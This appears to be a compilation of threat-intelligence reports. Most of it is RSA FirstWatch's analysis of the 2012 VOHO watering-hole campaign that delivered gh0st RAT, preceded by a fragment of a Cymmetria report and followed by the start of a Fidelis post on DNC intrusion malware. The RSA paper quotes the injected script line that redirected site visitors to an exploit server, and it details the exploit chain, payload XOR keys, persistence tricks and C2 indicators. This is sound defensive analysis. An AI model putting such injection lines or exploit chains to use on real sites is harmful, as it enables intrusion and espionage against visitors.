]com/81908/ http://feeds.rapidfeeds[.
]com/79167/ http://feeds.rapidfeeds[.
]com/61594/ 6/7 Update: our friends from Cymmetria have released their analysis of the Dropping Elephant / Patchwork APT  make sure to check it as well for more data about the attacks.
7/7 https://www.cymmetria.com/ https://www.cymmetria.com/patchwork-targeted-attack/ The Dropping Elephant  aggressive cyber-espionage in the Asian region The Attack Method: Infection Vector The Attack Tools 1.
Malware Analysis 2.
C2 Analysis Victim Profile and Geography Conclusion Indicators of Compromise Backdoors Exploit documents Domains and IPs
White Paper THE VOHO CAMPAIGN: AN IN DEPTH ANALYSIS RSA FirstWatchSM Intelligence Report 2 In July of 2012, the RSA FirstWatchSM research and intelligence team identified an emerging malicious code and content campaign spreading at a rapid rate within very specific geographic theaters.
These clusters were confined to ten geographic areas and involved thousands of hosts.
To the untrained eye it would appear the hosts involved in this campaign were compromised as the result of innocent web surfing using a common drive-by attack mechanism.
While at face value this is true, our investigation infers that the populations compromised were not chosen in an indiscriminate manner, but rather with great forethought.
Based on the RSA FirstWatch research, we believe these websites were likely chosen with exact precision and great consideration selected from thousands upon thousands of websites due to familiarity and proximity to the targets of interest that the threat actors responsible for the campaign were truly interested in compromising.
The RSA-FirstWatch teams research led to the identification of this campaign and its name, VOHO.
From a tools, technique and procedure (TTP) perspective, the RSA FirstWatch team believes this campaign aligns with the Advanced Persistent Threat (APT) threat model, including communications emitting from compromised hosts to IP addresses confirmed as Command and Control (C2) servers (in this case, located in Hong Kong) code re-use using exploit scripts and ultimately, a before-unseen variant of Gh0st RAT malware.
Additionally, targets appeared to be specifically chosen to compromise hosts involved in business and local governments in Washington, DC and Boston, Massachusetts, as well as organizations involved the development and promotion of democratic process in non-permissive regions.
As a whole, these specific TTPs have been observed in previous APT attack campaigns, most notably, Aurorai and Ghostnetii .
Through our research, the RSA FirstWatch team identified what it believes to be the primary mechanism for tactical and strategic infection of victims affiliated with targets of opportunity.
While this attack methodology has been observed before, it has not been widely documented or disseminated.
As such, we have termed this technique Water Holing.
The architects of these campaigns survey and select the websites (known as pivot or redirector sites) leveraged in these attacks carefully.
Weighing their geographic relevance, proximity to their desired targets of opportunity, and likelihood of being traversed by potential victim-users associated with the attacker objective, the adversary carefully exploits vulnerable systems and inserts malicious scripts to deliver a Trojan payload via browser-based exploits to visitors to the website.
Throughout this paper, we will examine the evolution of this threat campaign, its ties to other comparable threat campaigns where variants of the malicious payload seen in this attack (gh0strat) have been identified and chronicled, epicenters of geographic activity associated with this campaign, industry/verticals targeted in this campaign and the construction of the attribution chain.
About RSA FirstWatchS M Team RSA FirstWatchSM team is an elite, highly trained global threat research and intelligence team designed to operate in a number of disciplines to provide tactical and strategic intelligence on advanced threats, threat campaigns and threat actors.
The team, lead by Will Gragido, focuses on advanced threat research and intelligence which culminates in threat feeds, digests, profiles and ecosystem analysis designed to aid the RSA NetWitness user community and the information security community at large in contending with these challenges.
Contributing Authors Alex Cox, Principal Researcher, RSA FirstWatch Team Chris Elisan, Principal Malware Researcher, RSA FirstWatch Team Will Gragido, Sr.
Manager, RSA FirstWatch Team Chris Harrington, Consulting Security Engineer, EMC CIRC Jon McNeill, Principal Technologist, RSA FirstWatch Team 3 Specifics Using the tactic of crafting a Watering Hole, the majority of the redirection activity occurred because of JavaScript elements on two specific websites.
hxxp://www.xxxxxxxxtrust.com hxxp://xxxxxxcountymd.gov Respectively, these two sites  one a regional bank in Massachusetts and a local government serving the Washington DC suburbs.
We also saw an additional chain of websites with a geopolitical central theme redirecting to the exploit site: hxxp://ifxx.org hxxp://xxxxxxcenter.org hxxp://xxi.org hxxp://xxxxxxx.prio.no hxxp:/xxxxxxxxpolitics.com hxxp://www.rfxxx.org Additionally, sites serving the Defense Industrial Base and Educational community were also observed redirecting to the exploit site: hxxp://www.gftxxx.org hxxp://www.xxxxxxantennas.com When taken as a whole, this campaign appears to have targeted: Boston, Massachusetts area users Political Activists Users Washington, DC and its suburbs Defense Industrial Base Education Malicious Infrastructure Hosts visiting the aforementioned sites were redirected to a website of enthusiasts of a lesser known sport at the following domain: hxxp://xxxxxxxcurling.com This site attempted to exploit the following host vulnerabilities, in two different attack campaigns: Microsoft XML Core Services  CVE-2012-1889 Java Exploit  CVE-2012-1723 Once successfully exploited, the installed Gh0st RAT would beacon to one of two IP addresses: 58.64.155.59 58.64.155.57 4 Exploit Specifics Attack Methodology Overview hxxp://xxxxxxxcurling.com Compromise Files found on the sporting group website indicate that this server was likely compromised with a remote buffer overflow (CVE-2008-3869/CVE-2008-3870) against the servers sadmind daemon.
Additional files indicated the ability to establish a remote shell on demand.
It is unknown if this method was also used to compromise the watering hole sites.
In these cases, the following code snipped was added to publically accessible pages on the site, typically .js files are used to process a sites JavaScript: document.write(script srchttp://www.curling.com/Docs/BW06/iframe.js/script) This is a simple redirection mechanism that will cause the browser to redirect and load content from the remote site.
Hits to iframe.js launch an enumeration and exploit chain that attempts to exploit two different vulnerabilities, Gh0st RAT is a multiple-purpose remote access tool that allows extensive remote control of compromised hosts.
While there is no known evidence linking this attack to previous attacks, gh0st has historically been used in politically motivated espionage by nation-state attackers, in a similar manner as seen in this campaign depending on the specific redirection path: Microsoft XML Core Services  CVE-2012-1889 Java Exploit  CVE-2012-1723 Phase 1 - Exploit Chain  Microsoft XML Core Services From our research, this campaign occurred between June 25th, 2012 and July 18th 2012 in which attackers sought to exploit the CVE-2012-1889 vulnerability that was zero-day and was being used in targeted attacks as noted in early Juneiii .
In this attack, a successful exploit on CVE-2012-1889 followed the following path: [Watering Hole Sites] http://xxxxxxcountymd.gov (or other water hole site) http://www.xxxxxxxcurling.com/Results/cx/magma/iframe.js http://www.xxxxxxxcurling.com/Results/cx/magma/module.php http://www.xxxxxxxcurling.com/Results/cx/magma/engine.js http://www.xxxxxxxcurling.com/Results/cx/magma/if.htm http://www.xxxxxxxcurling.com/Results/cx/magma/enblue.htm http://www.xxxxxxxcurling.com/Results/cx/magma/book.cab http://www..com/Docs/BW06/iframe.js 5 .
Iframe.js Iframe.js checks if the visiting machine is running a Windows operating system and Internet Explorer.
It also sets a cookie value (presumably to track individual visits).
If the visiting machine is running a Windows operating system and Internet Explorer, it forward to module.php.
Module.php Module.php uses a simple redirection script to redirect the browser to Engine.js Engine.js Engine.js looks for processes related to the following antivirus engines using an older vulnerability in Internet Explorer (CVE-2007-4848) that allows local file enumeration: Trend Micro McAfee Symantec However, the results of this check dont change the outcome of the script running in all cases it simply results in the loading of if.htm.
We believe this to be a case of existing exploit script re-use, with slight changes to suit the attackers current purpose.
Figure 1: iFrame.js Flow 6 This particular enumeration script was seen previously in APT-style attacks back in July of 2011, as detailed here on the contagiodump blogiv.
Within the blog, noted industry researcher Mila Parkour, cited the presence and use of borrowed scripts having likely originated in Asia, specifically the so called xKungfoo script in attacks launched associated with numerous campaigns targeted at political dissidents.v  Additionally, Ms. Parkour has also noted and documented the presence of this weaponizable code in numerous locales on the Internet today.vivii In the following figures evidence of the presence and availability of the xKungFoo script (the script referenced by Mila Parkour and noted as being germane to the RSA FirstWatch investigation) along with endorsement by the author can be seen: Figure 2: Website Where xKungFoo Script Originates Figure 3: Example of xKungFoo Script Originates Figure 4: Endorsement by Author Regarding xKungFoo 7 If.htm 1) Checks if the visiting hosts user agent reflects is one of the following: Unknown Windows XP Windows 2003 Windows VistaWindows 7 Checks if the visiting hosts language settings are: English Chinese French German Japanese Portuguese Korean Russian Enblue.htm Enblue.htm uses the CVE-2012-1889 XML vulnerability to compromise the visiting browser, which results in a pull and installation of the gh0st RAT malware.
This script also appears to be code reuse of a script seen on pastebin as follows: http://pastebin.com/VfmuhEiq Interestingly, this code was also purportedly used in previous nation-state sponsored attacks on Gmail accountsviii .
Book.cab Book.cab, the final payload, is an obfuscated executable which, when de-obfuscated using XOR 95, is the gh0st RAT sample named vptray.exe (e6b43 c299a9a1f5abd9be2b729e54577) Phase II - Exploit Chain  Sun Java Phase II of this campaign, using the same infrastructure, but with a different directory for the exploit chain files as follows: [Watering Hole Sites] hxxp://xxxxxcountymd.gov (or other water hole site) hxxp://www.xxxxxxxcurling.com/Docs/BW06/iframe.js hxxp://www.xxxxxxxcurling.com/Docs/BW06/module.php hxxp://www.xxxxxxxcurling.com/Docs/BW06/engine.js hxxp://www.xxxxxxxcurling.com/Docs/BW06/if.htm hxxp://www.xxxxxxxcurling.com/Docs/BW06/applet.jar http://pastebin.com/VfmuhEiq 8 If.htm In this case, all of the scripts were identical up to if.htm, which instead contained a java call that loaded applet.jar, as well as a large blob of obfuscated code as a param element.
This large blob of code is a binary obfuscated with XOR 77, which the java applet deobfuscates and runs as svohost.exe (2fe340fe2574ae540bd98bd9af8ec67d).
Figure 5: Java Exploit Chain Figure 6: Java Applet Deobfuscates and Runs as svohost.exe 9 Watering Hole Specifics Strategically, the idea of using a targets interests and likely access points is not a new method of attack.
Undertaking it on such a large scale, however, is notable and unusual in the APT space.
In this campaign, five separate classes of sites that were compromised and trojanized to redirect to the exploit chains on the sporting group website.
They were: Sites with Geographic and Target Relevance to the Boston, MA area Sites with Geographic and Target Relevance to Political Activism Sites with Geographic and Target Relevance to the Washington, DC  and its suburbs areas Sites with Geographic and Target Relevance to the Defense Industrial Base Sites with Geographic and Target Relevance to the Education Additionally, there were a spattering of non-related sites that appeared to be simple redirectors to one of the above-categorized sites.
This sort of redirector is often used in spam campaigns to obfuscate the final location of the exploit server in an attempt to bypass email malware controls.
While we dont have specific examples of related spam activity, this seems a likely such use of the additional sites.
One of the main sources of infection for these campaigns were sites that support the cause of democratic process in non-permissive environments, or the communication of information related to free speech.
That is, entities and people that seek to promote democratic government in countries whose existing political structure and power doesnt support (and indeed, persecutes) such governmental change.
This particular strategic vector has been observed in prior nation-state sponsored attacks.
Though several sites were targeted by the adversarial element behind this campaign some stood out due to their relationships to matters of geopolitical relevance, philanthropy, and news media.
Five primary sites were compromised and used as pivot sites from a water holing perspective in this campaign.
They were largely North American with the exception of one European example.
Additionally, a large percentage of infection activity occurred as a result of sites compromised and converted into water holes that offered services to the Washington, DC and Boston, MA areas.
As the political and governmental hub of the United States of America, wholesale compromise of computers in this area would provide a wealth of intelligence for adversaries interested in political process and government action.
Furthermore it should be noted that RSA FirstWatch has noted and verified the compromise of nearly one thousand unique organizations distinct from those noted within this work.
10 Gh0st RAT RAT Overview Remote Access Tools\Trojan (RAT) are typically offered as a legitimate remote administration tool for system administrators, but have largely been used for remote hacking and information collection for intelligence purposes or lateral movement activities.
While they are similar in function to purpose-built botnets, which also tend to use client/server architecture, RATs typically offer a wide range of features rather than the single focus that most modern botnet malware adheres to.
Typically, RATs have the ability to: Capture keystrokes Remote monitoring of webcam and/or microphone File system search/browse Use of local command prompt Execution of arbitrary programs File download/upload Gh0st RAT Specifics Gh0st came to prominence following the 2009 publication of Tracking Ghostnet: Investigating a Cyber Espionage Network, in which this malware was used to infiltrate computers associated with the Dalai Lama and was used to compromise information related to Tibetan affairs.
Gh0st contains all of the above-mentioned capabilities when successfully installed on a target PC.
An excellent overview of this tool can be found in the McAfee report titled Know your Digital Enemyix .
Watering Hole Pivot Sites Political Activism Defense Industrial Base Metro Boston Financial Svcs Metro Washington, DC Government Education Figure 7: Industries and Regions Leveraged in Water Holing Activity 11 Since the publication of this report, the use of gh0st in hacking incidents has exploded, with the RSA FirstWatch team being aware of at least 50 unique gh0st networks.
This can be largely explained, much like the proliferation of ZeuS cybercrime malware, to the open availability of Gh0st source code on the internet.
When source code for this type of malware is available globally it allows open source evolution of the malware to add new features and capabilities, but more importantly, it permits the constant modification of indicators used by defenders to detect malware activity in their environment.
From an operational sense, having easy opportunity to modify source code allows a much more robust compromise, with decreased likelihood of attacker detection.
In many cases this detection is based on: 1) Knowledge of known C2 locations 2) Detection of a common gh0st string that is seen in the network communication of unmodified gh0st configurations.
A common countermeasure used by operators of gh0st networks is to change this gh0st string prior to malware compilation to defeat basic IDS signatures.
VOHO Sample Analysis Fake Symantec Update  Variant 1 VPTray.
EXE e6b43c299a9a1f5abd9be2b729e54577 This malware comes in a UPX compressed binary, which disguises itself as an update from Symantec but instead it installs a backdoor in the target system.
When the malware is first executed, its first order of business is to install itself in the system.
It does this by dropping an exact copy of itself with the name VPTray.
EXE in the current users Local Settings\Temp folder.
It then modifies the Windows registry for it to autostart every boot up.
It does this by using the following registry keys.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\Users Security ID\Software\Microsoft\Windows\Current\Version\Run Figure 8: Common Technique Empolyed by Gh0st Networks Operators 12 By using the HKCU and HKU registry hives, the malware is targeting users that are currently logged into the machine when the initial infection began instead of the machine itself.
This technique is especially useful when the target uses roaming profiles.
The malware adds the value SymantecUpdate to these keys and pass itself off as an update from Symantec.
This is a simple technique that is designed to fool the untrained eye.
To reinforce this, the malware employs a certain level of obfuscation to hide the data, which is the location and filename of the malware, by using HEX digits to represent each string characters instead of the more common ASCII.
In this case, instead of the data being: C:\DOCUME1\ADMINI1\LOCALS1\Temp\VPTray.exe It is represented in the registry as: 43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 :5c:54:65:6d:70:5c:56:50:54:72:61:79:2e:65:78:65:00.
This installation technique of dropping an exact copy of itself tells us that the malware can survive and install itself without the aid of a dropper or a downloader.
It has the capability to check whether it is running in the appropriate location and if it is properly installed on the system.
If not, it proceeds with the installation process.
This technique is advantageous if the malware has not been removed properly.
A surviving main component can recreate what was removed including the necessary registry changes needed by the malware.
Aside from dropping VPTray.
EXE it also drops the binary file UP.BAK in the same Local Settings\Temp folder.
This is the backdoor component of the malware.
Once all of these are accomplished, the original malware passes control to VPTray.
EXE and then deletes itself to remove any traces of its existence.
Figure 9: Memory dump of the malware containing the strings of the filenames of the dropped files and the registry value.
13 Once the malware is active in the system it utilizes certain protective mechanisms such as the following: Registry Editor is disabled Windows System Restore is disabled Disabling the registry editor prevents the auditing and review of registry entries, especially those that are commonly utilized by malware for persistency while the disabling of Windows System Restore prevents the user from reverting the system to a known good state before infection occurred.
The malware also wipes out all the restore points that are present in the system before infection.
The main component, VPTray.
EXE, is the one that communicates directly to the botnet command and control.
It connects to IP 134.255.242.47 via HTTPS.
It remains active in the system listening constantly for instructions while keeping the other components in check.
The following symptoms can be observed in an infected system: Presence of VPTray.
EXE and UP.BAK in the Users Local Settings\Temp folder.
An infected Administrator account in Windows XP will have these files in C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ Presence of the registry value SymantecUpdate with data in HEX values representing the file and location of VPTray.
EXE in the following registry keys: o HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run o HKEY_USERS\Users Security ID\Software\Microsoft\Windows\Current\Version\Run Presence of running process VPTray.
EXE Unable to use the Registry Editor Unable to use Windows System Restore Fake Symantec Update  Variant 2 Dropper acc583fc596d38626d37cbf6de8a01cb VPTray.
EXE b894efe4173f90479fddff455daf6ff3 Unlike the first variant, this one is not compressed.
Both the dropper and the dropped file (VPTray.
EXE) are not compressed.
Other difference it has with the first variant is the location of the dropped file and the way persistency is achieved.
But its modus operandi remains the same, and that is to pretend to be a Symantec Live Update.
When the dropper is executed, it drops VPTray.
EXE in C:\Program Files\Symantec\LiveUpdate\.
Having these file in a Symantec folder in Program Files is already a red flag especially if the compromised machine does not have a Symantec product installed.
Figure 10: VPTray.exe connecting to IP 134.255.242.47.
14 It then adds the registry key below to achieve persistency.
Key:HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run Value: Symantec LiveUpdate Data: C:\Program Files\Symantec\LiveUpdate\VPTray.exe Obviously, the way it achieves persistency is totally different from variant 1.
Variant 2 used a different registry hive Variant 2s registry value is SymantecLiveUpdate compared to SymantecUpdate in variant 1 The registry data is in ASCII and not in HEX.
This is fine because the malware file is located in a created Symantec folder in Program Files.
To ensure its survival, the Windows System Restore is disabled.
But unlike the first variant, this one did not disable the registry editor due to the fact that the added registry value and data appears to be legitimate because it utilizes a location of the file that appears to be a normal location for a Symantec file.
To communicate to the attacker the main component, VPTray.
EXE, connects to the domain usc-data.suroot.com.
Figure 11: Memory Dump of the Malware Containing the Strings of the Filenames 15 The following symptoms can be observed in an infected system: Presence of VPTray.
EXE in C:\Program Files\Symantec\LiveUpdate\ Presence of the registry value SymantecLiveUpdate with the data C:\Program Files\Symantec\LiveUpdate\VPTray.
EXE in HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run Presence of running process VPTray.
EXE Unable to use Windows System Restore As of this writing, the main component, VPTray.
EXE, is not detected in VirusTotal using its hash search function.
Fake Microsoft Update Svohost.
EXE 2fe340fe2574ae540bd98bd9af8ec67d Similar to the Fake Symantec Update, this malware comes in a UPX compressed binary file.
It passes itself off as a Microsoft update but nothing can be further from the truth.
When the malware is first executed, it installs itself in the system similar to the method employed by the Fake Symantec Update.
The only difference is the file that is dropped and registry value and data it uses.
The file is dropped in the current users Local Settings\Temp folder and is named SVOHOST.EXE, which is an exact copy of the malware.
This technique of naming a file almost similar to a legitimate file (SVCHOST.EXE) is known as homographic obfuscation.
But in this case, the less elegant method is used, and that is to simply replace one letter with another.
To autostart, the malware utilized the same registry keys as the Fake Symantec Update.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\Users Security ID\Software\Microsoft\Windows\Current\Version\Run By using these registry hives, the malware is able to target users that are currently logged into the machine even those that are not currently active in the system (think of Switch User mode).
The malware adds the value Microsoft Update to these keys.
A common technique, a very typical malware deception, to fool users into believing it is something that it is not.
Aside from this, it also utilizes HEX digits to obfuscate the registry data, which represents the location and the filename of the malware.
So instead of the data being C:\DOCUME1\ADMINI1\LOCALS1\Temp\svohost.exe for an infected Administrator account in Windows XP, it appears as 43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 :5c:54:65:6d:70:5c:73:76:6f:68:6f:73:74:2e:65:78:65:00.
Once all the malware installation procedure is done, the original malware passes control to SVOHOST.EXE and deletes itself to hide any traces of its existence.
Once the malware is active in the system it utilizes certain protective mechanisms such as the following: Registry Editor is disabled Windows System Restore is disabled 16 Disabling the registry editor prevents the auditing and review of registry entries, especially those that are commonly utilized by malware for persistency while the disabling of Windows System Restore prevents the user from reverting the system to a known good state before infection occurred.
The malware also wipes out all the restore points that are present in the system before infection.
To communicate to the attacker, the malware connects to IP 58.64.155.59.
The following symptoms can be observed in an infected system.
Presence of SVOHOST.EXE in the Users Local Settings\Temp folder.
An infected Administrator account in Windows XP will have these files in C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ Presence of the registry value Microsoft Update with data in HEX values representing the file and location of SVOHOST.EXE in the following registry keys: o HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run o HKEY_USERS\Users Security ID\Software\Microsoft\Windows\Current\Version\Run Presence of running process SVOHOST.EXE Unable to use the Registry Editor Unable to use Windows System Restore VOHO Campaign Analysis RSA FirstWatch research examined HTTP logs covering the June/July 2012 timeframe for the exploit chain in this example.
This analysis, combined with a detailed understanding of the exploit mechanism, allowed the team to get a better understanding of the scope of compromise of this campaign.
Based on our analysis, we can determine that this attack was broken up into two phases.
Phase 1 We observed referral traffic begin on June 25, 2012 to the exploit site.
However, according to the server logs, actual exploitation of Internet Explorer began on July 9, 2012 at approximately 7:56 AM EST when the first successful exploits of visiting browsers began to hit the exploit code.
We observed some movement of exploit code across directories on the curling.com web server during the investigation, so this gap was likely caused by the attacker setting up a new campaign.
Phase 1 exploit activity continued over the course of two days, with continuous access, until July 10th, when activity stopped at 3:43 pm EST.
Phase 2 Phase 2, which consisted of the above mentioned attack on the Sun Java client, began on July 16, 2012, when the first successful exploits of visiting java clients began to hit the exploit server at approximately 7:46am EST.
This exploit activity continued over the course of a few days, and ceased on July 18, 2012, at approximately 9:12 am EST, which was when the server administrator of curling.com brought the server down for compromise remediation.
Figure 12: SVOHOST.EXE connecting to 58.64.155.59.
17 Overall Statistics Based on our analysis, a total of 32,160 unique hosts, representing 731 unique global organizations, were redirected from compromised web servers injected with the redirect iframe to the exploit server.
Of these redirects, 3,934 hosts were seen to download the exploit CAB and JAR files (indicating a successful exploit/compromise of the visiting host).
This gives a success statistic of 12, which based on our previous understanding of exploit campaigns, indicates a very successful campaign.
Of the listed sites used to redirect hosts to the exploit site, the top four redirecting web servers are as follows: With success rates per exploit type being split pretty much down the middle: 0 5,000 10,000 15,000 20,000 25,000 30,000 35,000 Total Exposure by Redirect Total Compromises Total Exposure and Compromise Figure 13: Success of Compromise Figure 14: Top Four Redirect Sites 18 Exploited Organization Breakdown Of the hosts above that downloaded the exploit CAB and JAR files, the RSA FirstWatch team further examined compromised organizations by identifying the visiting hosts and cross- referencing the IP addresses to the Autonomous Systems that they belonged to.
CAVEAT: Because we didnt have observation of the compromised host themselves, nor command and control traffic, our understanding of compromise is strictly-related to observed HTTP traffic.
This analysis would not take into account host or perimeter-based blocking systems at affected organizations.
With this data we then grouped those autonomous systems into the following industries: Corporate  These systems were identified as being members of typical corporate networks, which included enterprises and business, as well as business-class IP space in large ISP organizations.
Defense Industrial Base (DIB)  These systems were systems in ASNs that were known to be involved with DIB consulting, systems and process.
Local Government  These systems were systems in networks identified as government systems in various cities, counties and towns.
Internet Service Provider (ISP) - These systems were hosts in networks that were identified as common internet service provider space.
This particular classification accounts largely for consumer-based internet users, but may also include corporate assets that arent immediately identifiable by ASN examination.
Federal Government  These systems are hosts in U.S. Government IP space or Washington DC area local government space.
This would include Federal agencies and support organizations.
Educational Institutions (EDU)  These systems were hosts in networks identified as educational institutions.
Much like ISP traffic, this traffic is difficult to breakdown into more specific identifying information.
Financial Services Organizations  These systems were systems in identifiable Bank, Credit Union, Trading and other organizations related to financial services.
Healthcare - These systems were hosts in identifiable healthcare industry space.
This would include hospital, pharmaceutical, patient services and clinic space.
Other Government  These systems were national government systems identified in foreign IP space or global government organizations (example: United Nations) Utilities / SCADA - These systems were hosts identified in organizations that supply or support utility or SCADA-related services such as Energy and water services.
Exploit Breakdown CAB Downloads JAR Downloads Figure 15: Exploit Breakdown 19 By removing ISP traffic, we are better able to examine the other industries: Linked Campaigns Wsdhealthy.comxxixii Based on our understanding of this campaign and TTPs (tools, techniques and procedures) used, we believe the following malware samples observed in January 2012 are related and belong to the same threat actors.
03db29c71b0031af08081f5e2f7dcdf2 644161889f0f60885b2a0eec12038b66 0 500 1,000 1,500 2,000 2,500 CORPORATE DIB EDU FED GOVT FINANCIAL HEALTHCARE ISP LOCAL GOVT OTHER GOVT UTILITIES / SCADA Compromises by Industry 0 200 400 600 800 CORPORATE DIB EDU FED GOVT FINANCIAL HEALTHCARE LOCAL GOVT OTHER GOVT UTILITIES / SCADA Compromise By Industry (without ISP) Figure 16: Compromises by Industry Figure 17: Compromise by Industry without ISP 20 These samples communicated with C2 at 58.64.143.245.
This IP address has resolved to the following DNS names in the past: usc-data.suroot.com usa-mail.scieron.com dll.freshdns.org Delivery of these samples appeared to be a similar attack vector, that being a hacked server that was redirected to by iframe insertion: www.wsdhealthy.com Using the following URLs: www.wsdhealthy.com/userfiles/file/Applet19.html www.wsdhealthy.com/userfiles/file/Applet19.exe www.wsdhealthy.com/userfiles/file/Applet.html www.wsdhealthy.com/userfiles/file/Applet.jar www.wsdhealthy.com/userfiles/file/Applet.exe This file structure indicates a similar java exploitation, and while we didnt have direct observation of this campaign, open source intelligence indicates a possible exploit of: CVE2011-3544 - Unspecified vulnerability in the Java Runtime Environment Additionally, the Gh0st RAT variant used in this campaign matched identifiers used in the VOHO campaign.
Detection and Indicators of Compromise Network For network detection of this threat, users should look for historic traffic to the following IPs and Domains: IP Addresses 58.64.155.59 (gh0st RAT C2) 58.64.155.57 (gh0st RAT C2) 58.64.143.245 (gh0st RAT C2) Domains wsdhealthy.com (legitimate site hosting exploit code/malware) curling.com (legitimate site hosting exploit code/malware) usc-data.suroot.com (gh0st RAT C2) usa-mail.scieron.com (gh0st RAT C2) dll.freshdns.org (gh0st RAT C2) 21 Gh0st RAT Generically, gh0st RAT communication using the unmodified source code can be detected by looking for non-RFC compliant network traffic on allowed paths, which contain the string Gh0st in the first view five bytes of the packet payload.
Because this is a commonly used tactic to detect Gh0st on the network, attackers often change this string to avoid detection.
In the case of the VOHO compromise, this indicator is HTTPS.
Known Malicious MD5 Hashes 03db29c71b0031af08081f5e2f7dcdf2 644161889f0f60885b2a0eec12038b66 e6b43c299a9a1f5abd9be2b729e54577 2fe340fe2574ae540bd98bd9af8ec67d RSA NetWitness Indicators ip.dst  58.64.155.59,58.64.155.57,58.64.143.245,64.26.174.74  alias.host www.wsdhealthy.com ,usc-data.suroot.com,usa-mail.scieron.com,dll.freshdns.org Additionally, the following feeds and parsers from RSA NetWitness Live service can be used for additional Gh0st RAT detection.
Gh0st parser APT-domains feed APT-IPs feed Conclusions RSA FirstWatch research has revealed an exploit and compromise campaign with connections over the past 8 months.
The collected data suggests that this attack was orchestrated and carried out by threat actors commonly referred to in the industry as APT: 1) Use of the xKungFoo script kit for victim redirection 2) Use of attack methodology that matches motives seen in past APT attacks  most notably such as those seen in the Aurora and GhostNet campaigns 3) Use of the gh0st remote access tool (RAT) in this and previous campaigns 4) Use of command and control infrastructure in the Hong Kong area in this and previous campaigns 5)  Gross impact and on almost 900 unique organizations 6)  Targets of Interest and Opportunity being geographically disperse in addition to industrial  vertical diverse with a heavy concentration in the following areas: International finance  banking Technology Government  municipal, state, federal and international Utilities  energy Educational Defense Industrial Base (DIB) Corporate Enterprise The possibility exists that this was intentional misdirection on the part of the attackers in regards to their origin.
However, the RSA FirstWatch team believes the data supports our analysis and this is further evidence of APT intrusion into United States government and corporate assets.
www.emc.com/rsa Disclaimer RSA Security LLC (RSA) believes the information in this publication is accurate as of its publication date.
RSA disclaims any obligation to update after the date hereof.
The information is subject to update without notice.
The analysis may include technical or other inaccuracies and/or typographical errors.
THE INFORMATION IN THIS PUBLICATION IS PROVIDED TO FOR INFORMATIONAL PURPOSES ONLY, IS PROVIDED AS IS, AND SHALL NOT BE CONSIDERED PRODUCT DOCUMENTATION OR SPECIFICATIONS UNDER THE TERMS OF ANY LICENSE OR SIMILAR AGREEMENT.
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i http://www.wired.com/threatlevel/2010/01/operation-aurora/ ii http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage- Network iii http://googleonlinesecurity.blogspot.com/2012/06/security-warnings-for-suspected-state.html iv http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html v http://thediplomat.com/flashpoints-blog/2011/06/07/china-cyber-attack-fallacies/ vi http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html vii http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html viii http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail- accounts/12462 ix http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf x http://www.malwaredomainlist.com/mdl.php?searchwsdhealthy.comcolsearchAllquantity50 xi http://www.mywot.com/en/scorecard/wsdhealthy.com xii http://www.malwaregroup.com/domains/details/wsdhealthy.com ABOUT RSA RSA, The Security Division of EMC, is the premier provider of security, risk and compliance management solutions for business acceleration.
RSA helps the worlds leading organizations succeed by solving their most complex and sensitive security challenges.
These challenges include managing organizational risk, safeguarding mobile access and collaboration, proving compliance, and securing virtual and cloud environments.
Combining business-critical controls in identity assurance, encryption key management, SIEM, Data Loss Prevention and Fraud Protection with industry leading eGRC capabilities and robust consulting services, RSA brings visibility and trust to millions of user identities, the transactions that they perform and the data that is generated.
For more information, please visit www.RSA.com and www.EMC.com.
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Specifics Malicious Infrastructure Exploit Specifics Attack Methodology Overview hxxp://xxxxxxxcurling.com Compromise Phase 1 - Exploit Chain  Microsoft XML Core Services Module.php Engine.js If.htm Enblue.htm Book.cab Phase II - Exploit Chain  Sun Java If.htm Watering Hole Specifics Gh0st RAT RAT Overview Gh0st RAT Specifics VOHO Sample Analysis Fake Symantec Update  Variant 1 Fake Symantec Update  Variant 2 Fake Microsoft Update VOHO Campaign Analysis Phase 1 Phase 2 Overall Statistics Exploited Organization Breakdown Linked Campaigns Wsdhealthy.com9F 10F 11F Detection and Indicators of Compromise Network IP Addresses Domains Gh0st RAT Known Malicious MD5 Hashes RSA NetWitness Indicators Conclusions Disclaimer
ThreatGeek Findings from Analysis of DNC Intrusion Malware threatgeek.com/2016/06/dnc_update.html The Security Consulting team here at Fidelis specializes in investigations of critical security incidents by advanced threat actors.
Last week, after Guccifer 2.0 claimed responsibility for the intrusion into the Democratic National Committees (DNC) servers, we were provided with the malware samples from the CrowdStrike investigation.
We performed an independent review of the malware and other data (filenames, file sizes, IP addresses) in order to validate and provide our perspective on the reporting done by CrowdStrike.
This blog post provides a summary of our findings.
Many of you may be following the recent news related to the compromise of the Democratic National Committees servers that was first reported by our colleagues over at CrowdStrike in a blog post published on June 14, 2016.
Their post attributed the incident to Advanced Persistent Threat (APT) actors associated with the Russian Government named COZY BEAR and FANCY BEAR.
The following day, the story got all the more interesting when an individual using the moniker Guccifer 2.0 claimed that CrowdStrike got it wrong and that he had, in fact, been the one to penetrate the DNCs servers.
We have helped hundreds of organizations deal with similar situations so we know the latest tactics, techniques, and procedures (TTPs) exceptionally well.
Our analysis relies on the intelligence repository we have built through this analysis as well as Open Source Intelligence to substantiate our findings.
Before we proceed to the details of our analysis heres a quick cheat sheet on different names that security researchers have used to refer to these threat actors.
However, its important to note that actor mappings between attribution sets arent precise.
Different research methodologies and necessarily separate encounters with these actors lead to unique attribution sets.
The overlaps noted here are commonly accepted.
